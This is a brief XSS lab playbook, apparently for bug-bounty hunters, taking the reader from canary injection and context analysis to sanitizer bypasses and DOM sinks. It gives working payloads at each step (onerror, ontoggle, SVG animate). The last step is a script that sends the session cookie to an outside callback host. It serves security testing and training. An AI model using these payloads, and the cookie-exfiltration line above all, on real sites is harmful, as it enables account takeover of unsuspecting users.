XSS labs

A practical playbook — from recon to proof of concept.

1. 1

   Seed a unique marker

   Inject a harmless canary with breaking characters into every reflected parameter and search for it in the response. It tells you whether your input lands unencoded and in which context.

   bbtest'"><svg/

2. 2

   Identify the injection context

   Look at where the canary lands: inside HTML, an attribute, a <script> block, a URL or JSON. Each context needs a different payload to break out.

   <input value="bbtest">  →  you must close the attribute: "><img...>

3. 3

   Break the context and execute

   Close the tag/attribute and fire an event that doesn't need <script> (usually filtered). onerror/onload are the most reliable.

   "><img src=x onerror=alert(document.domain)>

4. 4

   Bypass the sanitizer

   If DOMPurify or the WAF filter the obvious stuff, try less common tags/events, mXSS mutations, mixed case or SVG/MathML.

   <details open ontoggle=alert(document.domain)>  ·  <svg><animate onbegin=alert(1) attributeName=x dur=1s>

5. 5

   Test a DOM sink

   For DOM XSS, hunt the JS for sinks like innerHTML, document.write, location or eval fed by location.hash/search without sanitization.

   https://target/#<img src=x onerror=alert(document.domain)>

6. 6

   Prove real impact

   Don't stop at alert(1). Exfiltrate the session cookie or perform an authenticated action to raise severity and bounty. For blind XSS use a callback.

   "><script>new Image().src='//x.oast.fun/c?'+document.cookie</script>